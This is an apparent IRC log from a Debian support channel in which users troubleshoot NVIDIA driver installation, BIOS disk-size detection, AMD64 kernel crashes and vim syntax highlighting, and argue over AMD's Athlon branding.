| 05:36.29 | jharrison | lord_of_kernels: then I hop on over to nvidia's website and download the latest drivers and install them |
| 05:36.31 | stoned | I have read a lot of documentation, faqs, started artsd with proper switches, enabled network, I still can't get sound. basicalyl, I want to play multimedia on a remote kde machine, but have its sound come to me to the local computer over the network, and play here, while the multimedia apps run remotely. I can't figure it out. anyone know about this? |
| 05:36.45 | d4t2ilLa | stoned: with SATAII its mostly come with NCQ, that's the important thing, so make sure ur hd controller can support NCQ |
| 05:36.57 | jharrison | lord_of_kernels: and then configure xorg.conf and then I have good times |
| 05:36.59 | d4t2ilLa | and the drivers for linux to handle ncq..... |
| 05:37.06 | stoned | d4t2ilLa, my motherboard only supports I |
| 05:37.07 | deadcat | lord_of_kernels: you dont need to compile your own kernel to compile/use nvidia-glx |
| 05:37.12 | lord_of_kernels | deadcat, even the nvidia-glx from unstable removes xorg |
| 05:37.23 | d4t2ilLa | stoned but does it support harddisk ncq? |
| 05:37.26 | jharrison | lord_of_kernels: thats true you can just use the headers |
| 05:37.26 | deadcat | lord_of_kernels: what branch you using? and you sure its debian? |
| 05:37.50 | jharrison | lord_of_kernels: to be leet you must compile your own kernel though |
| 05:37.51 | lord_of_kernels | deadcat, i am using debian Etch with kernel version 2.6.15-1-686 |
| 05:37.56 | jharrison | lord_of_kernels: you want to be leet dont you? |
| 05:38.13 | Azar | I allways had gcc incompatibilities back when I was in sid and installing nvidia from their website |
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| 05:38.39 | deadcat | lord_of_kernels: you have this? nvidia-kernel-2.6.15-1 |
| 05:38.42 | jharrison | Azar: so you switch your compiler to whatever is compatible with the nvidia drivers |
| 05:38.55 | lord_of_kernels | deadcat, yes i do have it |
| 05:39.15 | curt | lord_of_kernels, and visa-vera apt-get install xserver-xorg will kick nividia-glx probably a better option than glx kicking xorg |
| 05:39.16 | deadcat | lord_of_kernels: interesting.. you might have to ask gravity if hes around. |
| 05:39.27 | Azar | jharrison, issue is that my kernel compiler was a version, while the nvidia was using another.. |
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| 05:39.46 | jharrison | Azar: right so you compile the kernel with the same as nvidia requires |
| 05:39.55 | Azar | jharrison: I managed to fool for a while nvidia into thinking I have the correct compiler for it, but it did not last.. |
| 05:39.58 | jharrison | Azar: I know the problem you are talking about |
| 05:40.01 | lord_of_kernels | deadcat, i have got nvidia-kernel from m-a auto-install nvidia |
| 05:40.10 | jharrison | Azar: ok |
| 05:40.11 | hanasaki | i am trying to do a sarge install.. my bios tells me the 120gig ide drive is 33 gig.. the 2nd ide drive is seen correctly as 120 gig... what is wrong? how can i get it to see the whole 120gig? |
| 05:40.18 | deadcat | lord_of_kernels: thats fine |
| 05:40.40 | stoned | I have read a lot of documentation, faqs, started artsd with proper switches, enabled network, I still can't get sound. basicalyl, I want to play multimedia on a remote kde machine, but have its sound come to me to the local computer over the network, and play here, while the multimedia apps run remotely. I can't figure it out. anyone know anything on the subject? |
| 05:40.45 | hanasaki | fyi: the sarge isntall shows one dirve as 120 gig and theother as 33gig.. both are 120gig |
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| 05:40.51 | Azar | jharrison, I am not so good at compiling my own kernel but I can't say I did not try.... it worked but not for long.... |
| 05:40.51 | lord_of_kernels | gravity, ping ? |
| 05:41.01 | Wyzard | hanasaki: Hard drives often have a jumper you can set to intentionally limit their apparent capacity, as a backward-compatibility measure |
| 05:41.07 | jharrison | Azar: practise makes perfect |
| 05:41.09 | Wyzard | hanasaki: Make sure that jumper hasn't been set on your drive |
| 05:41.09 | deadcat | lord_of_kernels: maybe hes compiling xgl (= |
| 05:41.17 | lord_of_kernels | hehe |
| 05:41.34 | hanasaki | ah... Wyzard the dirve is curently runiing on an etch ssytem and cfdisk shows it as 120gig correclty. |
| 05:41.37 | curt | hanasaki, can't change your bios? |
| 05:41.37 | Azar | lord_of_kernels: yeah go for ATI hahahahaha |
| 05:41.38 | jharrison | lord_of_kernels: whatever |
| 05:41.43 | hanasaki | curt: ? |
| 05:41.54 | hanasaki | curt . the bios autodetects one dirve ok.. the other as smaller |
| 05:42.03 | curt | hanasaki, change the setting for drive a to match drive b in the bios |
| 05:42.10 | kspath | I have ATI and Nvidia and I like both |
| 05:42.16 | hanasaki | curt huh? you mean the chs? |
| 05:42.17 | jharrison | I am just moving over from using ati for several years |
| 05:42.18 | hanasaki | manually? |
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| 05:42.23 | jharrison | didnt have much problems with ati |
| 05:42.30 | jharrison | nvidia support is a bit better though |
| 05:42.30 | lord_of_kernels | Azar, jharrison hehe it is the same case even if you use Windows or any other GNU/Linux Distro. Except FreeBSD |
| 05:42.35 | Azar | kspath: I have my favorites: AMD and nVidia forever |
| 05:42.44 | Wyzard | hanasaki: Linux is talking directly to the IDE controller rather than using the BIOS interface |
| 05:42.44 | hanasaki | both drives are 120gig.. both are not the same manufacuturer.. or model |
| 05:42.46 | curt | hanasaki, chs? |
| 05:42.49 | jharrison | lord_of_kernels: what is the same case? |
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| 05:43.12 | hanasaki | Wyzard: hmm well then why does the sarge installer show it as 120gig.. but i am booted and using it now .. and cfdisk says 120gig?> |
| 05:43.12 | lord_of_kernels | jharrison, having problems with the Stock Drivers that come with the OSes |
| 05:43.24 | hanasaki | curt: cylinder/sector/head |
| 05:43.28 | kspath | Azar: I like Opteron a lot but some of the low power Intels are VERY nice. |
| 05:43.42 | jharrison | lord_of_kernels: I never use stock drivers |
| 05:43.46 | curt | hanasaki, that's what i was talking about but Wyzard says no |
| 05:43.48 | jharrison | lord_of_kernels: and I always compile my own kernels |
| 05:44.01 | hanasaki | now i am Lost! :( |
| 05:44.12 | curt | Wyzard, help hanasaki |
| 05:44.57 | hanasaki | this is the drive |
| 05:45.00 | hanasaki | http://www.samsung.com/Products/HardDiskDrive/SpinPointPSeries/HardDiskDrive_SpinPointPSeries_SP1213N.htm |
| 05:45.25 | Wyzard | hanasaki: cat /proc/ide/$whatever/capacity |
| 05:45.38 | Wyzard | hanasaki: where "$whatever" is the name if the drive (hda, hdb, etc.) |
| 05:45.59 | hanasaki | 234493056 |
| 05:45.59 | hanasaki | ? |
| 05:46.05 | curt | Wyzard, I don't think hanasaki has gotten that far in the install |
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| 05:46.30 | hanasaki | well its runnign as a data drive fine.. at 120 gig .. in an etch install |
| 05:46.38 | d4t2ilLa | Wyzard, debian 3.1 Sarge is running kde 3.3.2, Can I run kde 3.5.1? |
| 05:46.44 | hanasaki | i am gonna install sarge from scratch.. and it sees the disk as 33gig! in the installer |
| 05:47.17 | Wyzard | hanasaki: Using the 2.4 kernel or the 2.6 kernel in the sarge installer? |
| 05:47.23 | hanasaki | 2.6 |
| 05:47.33 | Wyzard | d4t2ilLa: There's probably a backport of that... check backports.org |
| 05:47.36 | hanasaki | etch is on 2.6.15.4 |
| 05:47.40 | hanasaki | etch sees 120gig |
| 05:47.44 | hanasaki | bios sees 33gig |
| 05:47.47 | d4t2ilLa | thanks |
| 05:47.51 | hanasaki | bios sees 120gig on a diff hd |
| 05:48.34 | Wyzard | hanasaki: The fact that the BIOS doesn't see the full capacity means it's not really a Linux problem in the first place... it might be that newer kernels use a different way of querying the drive capacity or something, but that's not the root cause of the problem |
| 05:48.48 | hanasaki | right |
| 05:48.51 | Wyzard | You want to troubleshoot why it's wrong in the BIOS, and that'll fix it for the sarge installer too |
| 05:48.58 | hanasaki | what does sarge use for a 2.6 kernel? |
| 05:49.01 | hanasaki | 2.6.? |
| 05:49.02 | Wyzard | 2.6.8 |
| 05:49.24 | hanasaki | could 2.6.8 vs 2.6.15 make that much diff? |
| 05:49.25 | Wyzard | But the only reason I can think of for it to appear wrong in the BIOS is that you might have that capacity-limit jumper set |
| 05:49.27 | lord_of_kernels | jharrison, deadcat curt the probelm has been reported in Bug #345396 |
| 05:49.30 | Wyzard | maybe; dunno |
| 05:49.44 | hanasaki | Wyzard: umm i am looking at he manuall.. there is no jumper for that |
| 05:49.47 | Wyzard | It's irrelevant anyway -- it's not a Linux problem so you shouldn't be looking for a Linux solution |
| 05:49.54 | hanasaki | http://www.samsung.com/Products/HardDiskDrive/SpinPointPSeries/HardDiskDrive_SpinPointPSeries_SP1213N.htm |
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| 05:50.16 | hanasaki | well why does the current debian install show 120 gig |
| 05:50.25 | hanasaki | and the partitioner in sarge installer show 33gig? |
| 05:50.28 | hanasaki | both are linux |
| 05:50.39 | Wyzard | Like I said, maybe the newer kernel uses a different method of checking the drive's capacity |
| 05:51.19 | hanasaki | hmm maybe.. i think i have had it showing as 120gig for a lonnnnnnnnnnnng time w/ older kernels on etch |
| 05:51.34 | Azar | now I am curious: Wyzard how do I check how much of my disk I use? |
| 05:51.38 | hanasaki | df |
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| 05:51.42 | Wyzard | df -h |
| 05:51.43 | hanasaki | df -h |
| 05:51.47 | Azar | thanks |
| 05:51.48 | Wyzard | :-P |
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| 05:52.25 | Azar | nice: |
| 05:52.28 | Azar | Filesystem Size Used Avail Use% Mounted on |
| 05:52.28 | Azar | /dev/hda2 110G 1.6G 103G 2% / |
| 05:52.29 | Woosta | Anyone know how/if it's possible to force a particular device to be a particular X in /dev/sdX |
| 05:52.36 | curt | human readable, like other animals would be reading |
| 05:52.51 | Azar | my entire Debian Sarge + packages 2% niicccee |
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| 05:52.56 | Woosta | I'd guess it's human vs machine :) |
| 05:53.12 | Wyzard | hanasaki: Try the drive in a different computer and see how it appears in the BIOS |
| 05:53.34 | curt | human + readable it's like a double positive |
| 05:53.46 | \amethyst | Woosta: if you use udev you can access the drive by label or id |
| 05:53.54 | \amethyst | Woosta: in /dev/disk/ |
| 05:54.08 | hanasaki | Wyzard: i dont have others.. :( just 2 that are the same mobo |
| 05:54.14 | curt | hanasaki, or change the chs and see if it reads right |
| 05:54.28 | hanasaki | change to what? |
| 05:54.30 | Woosta | \amethyst: how do you mean (I do use udev) .. how is it's 'label' or 'id'? |
| 05:54.39 | \amethyst | Woosta: look in /dev/disks/by-id |
| 05:54.48 | Woosta | heh .. thanks :) |
| 05:54.50 | Woosta | looks like fun :) |
| 05:54.53 | andrownz | I would like to edit a .mov file that my camera recorded. What do you geeks use? I've tried kino but it won't open a .mov nor .avi, I'm installing LiVES now .. |
| 05:55.07 | \amethyst | Woosta: labels you can set on some fss (ext2/3 but not reiser3, I think) |
| 05:55.07 | Woosta | Oh WOW! \amethyst++++ |
| 05:55.20 | Woosta | That's going to work BRILLIANTLY |
| 05:55.23 | curt | hanasaki, all the specs are on the manufactures site right? |
| 05:55.32 | \amethyst | Woosta: in my fstab: |
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| 05:55.42 | \amethyst | /dev/disk/by-id/usb-iriver_MassStorage_Disc /media/iriver vfat user,noauto,noexec,sync,iocharset=cp437 0 0 |
| 05:55.42 | hanasaki | lol not sure.. didnt seet he chs spec |
| 05:56.00 | hecate355 | hey guys, is it possible that my AMD64 kernel just keeps crashing without no reason? |
| 05:56.16 | Wyzard | andrownz: Kino is only for DV... if you're talking about the "movie" feature of a digital still camera, that's probably an MJPEG file |
| 05:56.18 | hecate355 | i have tried some 3 different distros tonite and every single one of em crashes frequently |
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| 05:56.38 | jharrison | hecate355: maybe you have unstable settings defined in your bios |
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| 05:56.40 | hecate355 | is AMD64 bit kernel really worth using nowadays? |
| 05:56.42 | Wyzard | hecate355: It's possible that you have a defective processor or bad RAM or something |
| 05:57.00 | hanasaki | brb |
| 05:57.04 | Woosta | OK, next question: I have /home that I want to move to a new disk .. what's the best way to move it and be certain of getting everything? |
| 05:57.19 | Wyzard | hecate355: Plenty of people use Debian AMD64 on a daily basis without problems, so I don't think it's the software at fault unless you're running some really weird software |
| 05:57.24 | hecate355 | well, i get Kernel panic and thats it, when on X i wont see any messages and cant switch to tty01 neither becoz it just crashes |
| 05:57.26 | jayr168 | guys |
| 05:57.30 | andrownz | Wyzard, I'm really new to video stuff. My camera recorded a .mov file (p1010060.mov: Apple QuickTime movie (unoptimized) and I would like to add some motion effect |
| 05:57.36 | jayr168 | im already running kernel 2.6 |
| 05:57.39 | hecate355 | Wyzard but do all programs work on 64bit? like firefox, gnome etc. etc. |
| 05:57.46 | Wyzard | hecate355: That could be overheating, or bad RAM, or a defective motherboard or processor |
| 05:57.48 | jayr168 | but when I select NV driver it doesnt work |
| 05:57.53 | kspath | hecate355: are you running an Opteron or AMD64? if it is a Sempron than it is not a AMD64 |
| 05:57.53 | jayr168 | I have to use VESA |
| 05:58.13 | maatttt | Woosta: can't you TAR it ? |
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| 05:58.13 | hecate355 | Amd Athlon 3200+ |
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| 05:58.21 | hecate355 | ram and everything is fine |
| 05:58.28 | hecate355 | windowsxp on 32bit runs perfectly |
| 05:58.33 | Wyzard | hecate355: A few applications have 64-bit-related bugs, and it's a common complaint that there's no 64-bit Macromedia Flash plugin, but for the most part, everything works |
| 05:58.41 | hecate355 | windows 64 bit crashes as well |
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| 05:58.44 | jayr168 | please help |
| 05:58.47 | Woosta | maatttt: I can do anything to it .. but I want to know that I'm going to get every file and keep all ownerships and permissions |
| 05:58.49 | kspath | hecate355: Athlon is not AMD64 |
| 05:58.54 | jayr168 | how to install nvidia driver? |
| 05:58.59 | curt | !nvidia one liner |
| 05:58.59 | dpkg | i heard nvidia one-liner is update-pciids ; apt-get install module-assistant && m-a prepare && m-a a-i nvidia && apt-get install nvidia-glx nvidia-settings && modprobe nvidia && echo nvidia >> /etc/modules && dpkg-reconfigure xserver-xfree86 (or xserver-xorg on testing and unstable). Contrib and non-free sources needed. See <non-free sources> |
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| 05:59.12 | curt | now i think your are ready for the one loner jayr168 |
| 05:59.21 | andrownz | Wyzard, what do you suggest for that? |
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| 05:59.28 | hecate355 | Computer: AMD Athlon(tm) 64 Processor |
| 05:59.46 | Azar | jayr168: add non-free contrib at the end of your sources in apt first |
| 05:59.48 | Wyzard | andrownz: dunno... I don't do any video work |
| 06:00.07 | Wyzard | andrownz: You might look into mencoder or transcode, but I haven't used either of them myself |
| 06:00.13 | kspath | Did the morons reuse the Athlon name? geez now I need to research AGAIN |
| 06:00.17 | curt | jayr168, copy and paste that one liner as root in terminal (the whole thing) |
| 06:00.35 | Wyzard | kspath: "Athlon 64" is the product name... AMD64 is the architecture |
| 06:00.36 | maatttt | Woosta: I'm pretty sure Tar will keep perms and ownership. |
| 06:00.44 | maatttt | Woosta: run some tests |
| 06:00.59 | curt | jayr168, from update-pciids all the way through xfree86 |
| 06:01.41 | hecate355 | Wyzard so, is there anything i could do to get 64bit kernel working properly:S? |
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| 06:01.42 | Wyzard | hecate355: If 32-bit OSes work flawlessly and 64-bit OSes always crash, it could just be that the 64-bit part of your processor is defective |
| 06:01.43 | jayr168 | it says nvidia glx not found |
| 06:01.46 | kspath | They did reuse the Athlon name ARGH!!! |
| 06:01.49 | hecate355 | Wyzard and does Cedega work on 64bit OS`? |
| 06:02.06 | Wyzard | hecate355: No idea -- I don't have a 64-bit processor and I'm not very interested in Cedega |
| 06:02.07 | Azar | jayr168: did you edit your /etc/apt/sources.list? |
| 06:02.19 | hecate355 | Wyzard how this defect occurs? This comp is pretty new... |
| 06:02.26 | Wyzard | hecate355: The 32-bit version would work, but I don't know whether a 64-bit version exists |
| 06:02.37 | Wyzard | hecate355: Manufacturing defects happen all the time |
| 06:02.47 | jayr168 | what do I do with my source.list? |
| 06:02.49 | curt | jayr168, <Azar> jayr168: add non-free contrib at the end of your sources in apt first |
| 06:03.13 | hecate355 | Wyzard have a second to look my system information and discover if theres anything wrong? |
| 06:03.19 | Wyzard | hecate355: And a new piece of hardware is more likely to suffer from problems due to a manufacturing defect |
| 06:03.20 | Azar | jayr168: use an editor, and add those at the end of each line of sources |
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| 06:03.23 | hecate355 | Wyzard im no computer expert and neither got someone to look into it... |
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| 06:03.53 | andrownz | Wyzard, did you reply, got disconnected |
| 06:03.58 | hecate355 | Wyzard or is there some test software what i can use to test my processor health on 64bit? |
| 06:04.09 | Wyzard | hecate355: I'm not sure what the point of looking at your "system information" would be... knowing the speed of your processor or how much RAM you have or whatever isn't really relevant |
| 06:04.17 | Azar | jayr168: like this example: deb http://ftp.us.debian.org/debian/ stable main non-free contrib |
| 06:04.17 | Wyzard | andrownz: You might look into mencoder or transcode, but I haven't used either of them myself |
| 06:04.20 | lord_of_kernels | is it possible to edit the .deb files and remove the dependency on xserver package from the spec file in the .deb file? |
| 06:04.34 | Wyzard | andrownz: I don't do any video work myself |
| 06:04.57 | Wyzard | hecate355: dunno, maybe, but I don't have any 64-bit hardware |
| 06:04.58 | kspath | What idiot marketing droid at/with AMD thought to use the same general name for their 64bit proc as their 32bit proc dumbass idea |
| 06:05.04 | Wyzard | hecate355: so I don't have experience with it myself |
| 06:05.10 | hecate355 | Wyzard trying to send you my system information file on xml |
| 06:05.22 | kspath | !lart marketing people |
| 06:05.45 | Wyzard | kspath: All the marketing droids who understand that "Athlon" is a well-known brand name and they'd be stupid to abandon it over a technical difference that most consumers don't know or care about |
| 06:05.56 | Wyzard | kspath: Intel's 64-bit processors are still called "Pentium", too |
| 06:05.59 | andrownz | Wyzard, transcode looks like a tool for converting to other formats, not a video editing system |
| 06:06.14 | Wyzard | andrownz: It can do filters, though not interactive editing AFAIK |
| 06:06.20 | jayr168 | guys its not possible to write source.list |
| 06:06.46 | hecate355 | where to get help testing my 64bit processor's health, anyone here knows? |
| 06:06.47 | curt | jayr168, you need to be root to edit in /etc |
| 06:06.48 | kspath | Wyzard: Same dumb idea at Intel. |
| 06:06.51 | Gnea | kspath: because they still have a 32bit mode. not too dumb, considering most of what's out there won't boot into a strictly 64bit environment. |
| 06:06.51 | andrownz | Wyzard, yeah I'm looking for something like kino but which is able to open .mov or .avi files |
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| 06:07.04 | Azar | hi Gnea :) |
| 06:07.07 | jayr168 | i tried su root |
| 06:07.13 | jayr168 | nothing happens |
| 06:07.29 | jayr168 | how to get root acces in user mode? |
| 06:07.32 | Azar | jayr168: only use "su" then enter password for root |
| 06:07.34 | Wyzard | andrownz: I don't know of any such thing myself, but I've never looked either |
| 06:07.35 | curt | jayr168, su then pico /etc/apt/sources.list |
| 06:07.43 | zophyx_ | su - |
| 06:07.51 | maatttt | hecate355: Searching for primes for a few hours is a good test of cpu. http://mersenne.org/gimps/p64v2414.zip |
| 06:07.53 | hecate355 | ill try to run 32bit kernel and see if it crashes aswell |
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| 06:08.03 | sm | hi, could anyone suggest good ways to review and merge the best changes from two versions of a po file ? |
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| 06:08.33 | Paivakil | jayr168: `su' |
| 06:08.38 | Gnea | sm: diff, vim |
| 06:08.53 | kspath | I fail to see why using the excuse that many consumers are drooling morons or that procs still support old tech to be compatible to be good enough reasons for me to like/accept it. |
| 06:08.53 | Wyzard | andrownz: You could possibly use something like transcode to convert your video to DV format and then edit it with Kino, but I think DV uses lossy compression so that might not be the best approach |
| 06:09.10 | curt | lord_of_kernels, man dpkg-deb |
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| 06:09.36 | jayr168 | its done |
| 06:09.36 | Gnea | kspath: that's okay, most people can't handle the truth either. |
| 06:09.51 | dn4 | how do I go from uname -a (kernel) and install a new one to use instead? |
| 06:09.55 | kspath | Gnea: I know I can not handle the truth. It hurts far too much. |
| 06:09.56 | curt | jayr168, one liner again then... |
| 06:10.11 | kspath | Gnea: I built my own little world around myself. |
| 06:10.11 | Azar | yay it is out! I wonder how old is this document: http://psdoom.sourceforge.net/download.html |
| 06:10.14 | Wyzard | kspath: 64-bit support is just another extension to the processor's feature set |
| 06:10.15 | jayr168 | what do you mean by one liner? |
| 06:10.35 | Azar | jayr168: I hope you saved the sources.list after editing ... |
| 06:10.37 | Wyzard | kspath: Should they have changed the product name when they added other extensions like SSE? |
| 06:11.07 | Azar | jayr168: type /msg dpkg nvidia one-liner here in the irc window |
| 06:11.10 | curt | !nvidia one liner |
| 06:11.10 | dpkg | rumour has it, nvidia one-liner is update-pciids ; apt-get install module-assistant && m-a prepare && m-a a-i nvidia && apt-get install nvidia-glx nvidia-settings && modprobe nvidia && echo nvidia >> /etc/modules && dpkg-reconfigure xserver-xfree86 (or xserver-xorg on testing and unstable). Contrib and non-free sources needed. See <non-free sources> |
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| 06:11.22 | kspath | Wyzard: yes but that could have remained in the same family. That is only my opinion and matters little. |
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| 06:12.18 | Wyzard | kspath: The 64-bit processors are still based on the same architecture as the older Athlons, and the 64-bit instruction set is just an extension of the 32-bit set |
| 06:12.28 | kspath | Wyzard: To me the proc name should be the most important specs that make it different including an identifying number that NO other proc has. |
| 06:12.59 | Wyzard | kspath: "AMD Athlon 64 3200+" |
| 06:13.29 | Azar | man.... you know what a bomb would be to have psDoom in Debian? wow |
| 06:13.30 | kspath | Wyzard: You do not have to convince me. I think it is a bad idea and will continue to think it is a bad idea. It matters little what I think. |
| 06:13.57 | Wyzard | kspath: No other processor model is called a "3200+", and no 32-bit-only processor has the "64" in its name, nor the Athlon64 logo on the box |
| 06:13.59 | curt | me either kspath |
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| 06:14.49 | Wyzard | kspath: http://www.ct-tronic.de/shop/images/Athlon64logo.jpg -- pretty unmistakable |
| 06:14.59 | kspath | Wyzard: I can almost see your point if they take the word Athlon out. |
| 06:15.28 | \amethyst | kspath: Athlon's like a make, kind of like "Chevy" |
| 06:15.28 | curt | athlon does sound kinda legacy-ish |
| 06:15.36 | Azar | http://psdoom.sourceforge.net/ss7.html |
| 06:15.39 | Wyzard | kspath: Why should they take "Athlon" out though? It *is* still an Athlon, still based on the same architecture they've been refining for the past bunch of years |
| 06:15.55 | kspath | does it even matter |
| 06:15.57 | \amethyst | kspath: Look at how many chips were called the Alpha :) |
| 06:16.17 | \amethyst | they had more interesting numbers, though |
| 06:16.28 | kspath | Then call them all athlon logic does not follow |
| 06:16.43 | \amethyst | kspath: Chevy Silverado vs Chevy Blazer |
| 06:16.49 | \amethyst | or whatever |
| 06:17.07 | Wyzard | kspath: The issue here is just that hecate355 omitted the "64" when saying the model name of his processor, and you didn't recognize that the "3200+" model is 64-bit-capable because you don't have AMD's product list memorized |
| 06:17.23 | curt | exactly |
| 06:18.01 | Wyzard | kspath: If he'd said "AMD Athlon 64 3200+" in the first place, there'd be no issue at all; it's pretty obvious that an "Athlon 64" is a 64-bit processor |
| 06:18.11 | kspath | Again marketing CRAP. I only want the specs/features This is why I get annoyed with Intel and AMD and many others for their "branding" |
| 06:18.13 | fooz | what about 64 bit semprons? |
| 06:18.14 | fooz | hehe |
| 06:18.29 | \amethyst | kspath: ah, well, you can't avoid marketing :) |
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| 06:18.43 | kspath | !lart marketing people |
| 06:18.58 | \amethyst | kspath: I could say I have a cpu family 6 model 6 stepping 2 |
| 06:18.58 | Wyzard | Lots of things are marketing crap, but a basic name for a product isn't |
| 06:19.01 | kspath | There now they are gone and the world can sing. |
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| 06:19.36 | kizmet | !tell kizmet nvidia |
| 06:19.59 | lord_of_kernels | !nvidia-glx |
| 06:20.02 | kizmet | can sum1 get dpkg to tell me about the nvidia one-liner. |
| 06:20.03 | curt | it' quiet in here im leaving |
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| 06:20.10 | Nexus | Did the vim package change something so that "syntax on" doesn't do syntax highlighting anymore? |
| 06:20.18 | Wyzard | kizmet: /msg dpkg nvidia one-liner |
| 06:20.23 | kspath | Wyzard: I only look at company name based on my experience with them. Then I look for a model name if I have had good luck with them. Then I just want all specs no matter the product. |
| 06:20.30 | \amethyst | Nexus: what version did you upgrade from/to? |
| 06:20.54 | Nexus | 6.4.6 to 6.4.7 |
| 06:21.12 | kizmet | ok the one-liner in m-a gives an error of: |
| 06:21.19 | \amethyst | Nexus: nothing that big should have changed |
| 06:21.25 | kizmet | <PROTECTED> |
| 06:21.27 | \amethyst | Nexus: any error messages about your vimrc? |
| 06:21.27 | dandelo | nexus I think the command is |
| 06:21.36 | dandelo | syntax enable |
| 06:22.00 | Nexus | That was my thought, however I have 2 machines that are basically identical. One has highlighting and the other doesn't. Both have syntax on at the bottom which is what has always worked in the past for syntax highlighting. |
| 06:22.22 | \amethyst | dandelo: both work |
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| 06:22.37 | dandelo | oh ok |
| 06:22.40 | \amethyst | Nexus: did you upgrade the common packages, too? |
| 06:22.47 | Wyzard | kspath: "All the specs" aren't really relevant in all cases though |
| 06:22.51 | \amethyst | Nexus: all the vim packages, I mean |
| 06:22.54 | \amethyst | that you use |
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| 06:23.09 | Nexus | I jsut did apt-get upgrade... Let me see. |
| 06:23.29 | Wyzard | kspath: In this case the clock speed, die size, socket type, wattage, etc. of the processor didn't matter; all we cared about is whether it was 64-bit-capable |
| 06:23.31 | Nexus | vim, vim-common, and vim-runtime... |
| 06:23.35 | OmegaNine | Can someone here recomend a good apt-get repository? I wanted to find one that would have things like xine and gmplayer. |
| 06:23.36 | Wyzard | kspath: To mention all the rest in detail is just noise |
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| 06:24.48 | kspath | Wyzard: Most of the things that scroll by in most channels is/are noise unless you are the one that typed it or the one that wants to read it. |
| 06:25.02 | jayr168 | it says Couldn't stat source package list http://security.debian.org stable/updates/non-free Packages (/var/lib/apt/lists/security.debian.org_dists_stable_updates_non-free_binary-i386_Packages) |
| 06:25.12 | jayr168 | wat do I do> |
| 06:25.14 | jayr168 | wat do I do? |
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| 06:26.55 | \amethyst | Mexis: What happens if you use exactly the same config file? |
| 06:27.00 | \amethyst | err |
| 06:27.06 | marcel__ | is there a docklet application that can act as a menu, eg. Gnome menu |
| 06:27.07 | \amethyst | Nexus: What happens if you use exactly the same config file? |
| 06:27.26 | Paivakil | OmegaNine: debian has xine; but not mplayer - mplayer can be found on marillat |
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| 06:27.41 | kspath | Wyzard: I only made a passing comment about Athlon name getting reused. I should have just let it go since apparently it tends to annoy random people at random times. At other times, long discussions go on with various opinions being stated. At other times things get quite icky fast. In this case I was in the minority or perhaps sole person on my "side" of an opinion so it was and will be considered noise by possibly everyone. |
| 06:27.43 | OmegaNine | marillat, cool, I will check it out. |
| 06:28.20 | \amethyst | marcel__: when you say "docklet", do you mean Gnome panel? |
| 06:28.28 | \amethyst | marcel__: or wmaker? |
| 06:28.52 | Wyzard | kspath: I wasn't "annoyed" by the comment; I just find it strange that you would be highly bothered by the use of the Athlon brand-name on the 64-bit processors |
| 06:28.59 | jayr168 | are there any downlodable nvidia drivers out there? |
| 06:29.09 | Gnea | !tell jayr168 about spam |
| 06:29.25 | Gnea | !tell jayr168 about repeat |
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| 06:29.39 | jayr168 | sorry |
| 06:29.46 | Wyzard | kspath: You refer to it as "reuse" of the name on a different and unrelated product, but in my view it's just continuing to use the same name on subsequent revisions of the same product |
| 06:29.59 | kspath | Wyzard: I am strange. Many "brand-names" annoy me unless it is something that is mostly static. Sony Walkman annoys me because they put it on so many products. |
| 06:30.04 | Gnea | !tell jayr168 about nvidia one-liner |
| 06:30.05 | jayr168 | where can I get drivers for nvidia pcx 5300 |
| 06:30.16 | Gnea | right there ^^ |
| 06:30.37 | Nexus | \amethyst, I just put identical configs on both machines and one does syntax highlighting, the other doesn't. Only difference is the vim minor revision number. |
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| 06:32.17 | kspath | Wyzard: That is my opinion. I think it is reuse. I think that anything other than VERY minor revisions should be completely renamed or MORE clearly labelled to prevent confusion. |
| 06:32.25 | jayr168 | whats the use of the non-free line? |
| 06:32.47 | jimi | why doesnt system:/media show up anything on one of my pc's? (using konquerer) |
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| 06:33.31 | Nexus | I take it no one else is running vim 6.4.7 and having this problem? |
| 06:33.40 | fooz | no one else is running vim ;) |
| 06:33.47 | Nexus | :-P |
| 06:34.10 | nimak | firefox is segfaulting on sites that use some font, GDB says the problem is in /usr/lib/libfontconfig.so.1 |
| 06:34.16 | nimak | im on debian unstable |
| 06:34.26 | nimak | firefox 1.5 |
| 06:34.37 | kspath | Nexus: running testing? |
| 06:35.00 | kspath | Nexus: I had vim break in testing but when I put stable it was fine |
| 06:35.13 | Nexus | kspath, Oh, sure enough. I am on testing. I forgot about that... |
| 06:35.28 | Nexus | kspath, How do I put a single package back to stable? |
| 06:35.50 | Nexus | I'm sure there is a great howto somewhere... What's the term for putting a package on it's own? Pinning? |
| 06:35.52 | kspath | Nexus: I was WAY too lazy to bug report. I just decided that the gains of testing were FAR outweighed by the loss of critical tools at random. |
| 06:36.06 | Nexus | kspath, *laugh* |
| 06:36.24 | kspath | Nexus: I do not do that. I left testing and wiped and put sarge/stable which is fine for me 99% of the time. |
| 06:36.43 | Nexus | kspath, :) I can't wipe. It's a production server. |
| 06:36.44 | LinuxNIT | how do i tell wifi-radar to use wlan0 noth eth1? |
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| 06:37.24 | kspath | Nexus: good luck, use nvi or nano or vim without syntax highlighting. |
| 06:37.25 | nimak | is anyone else having the same problem, it crashes on wikipedia |
| 06:38.24 | LinuxNIT | how do i tell wifi-radar to use wlan0 noth eth1? |
| 06:38.27 | Nexus | kspath, I'll give it a shot. Thanks. |
| 06:38.34 | \amethyst | Nexus: what happens if you manually :syntax on ? |
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| 06:39.22 | Hider | hello All |
| 06:39.28 | Nexus | \amethyst, The syntax command is unknown, it says. |
| 06:39.46 | kspath | Nexus: mentions filetype crap also? |
| 06:39.53 | Hider | is there any online debian developers here? |
| 06:39.57 | Nexus | \amethyst, I think that this build is definitely borked... |
| 06:40.06 | \amethyst | Nexus: aha |
| 06:40.11 | \amethyst | Nexus: you want vim-full perhaps? |
| 06:40.20 | Nexus | kspath, Not that I've seen... |
| 06:40.26 | Nexus | \amethyst, vim-full? |
| 06:40.30 | streuner | Hider: why? |
| 06:40.49 | kspath | \amethyst: vim-full did not fix it for me but it might now. |
| 06:40.51 | \amethyst | Nexus: err, wait, ordinary vim package should have syntax |
| 06:41.14 | Nexus | \amethyst, Yea. The :syntax on command works for my machine with 6.4.6... But 6.4.7, no go. |
| 06:41.30 | kspath | \amethyst: I tried ALL combos of vim anything and everything and removed it completely several times. Things may have changed since then though. |
| 06:41.41 | Hider | streuner: I want also to contribute to debian and become a developer too. The first thing is to do is just finding an advocate and ... |
| 06:42.04 | Hider | that's why I want to meet a developer? |
| 06:42.14 | kspath | \amethyst: That is why I did not file a bug. I could not narrow it down enough to make a worthwhile report. |
| 06:42.44 | \amethyst | kspath: do you have the appropriate directories under /usr/share/vim/ ? |
| 06:42.53 | kspath | \amethyst: I had set syntax on via vim and via config |
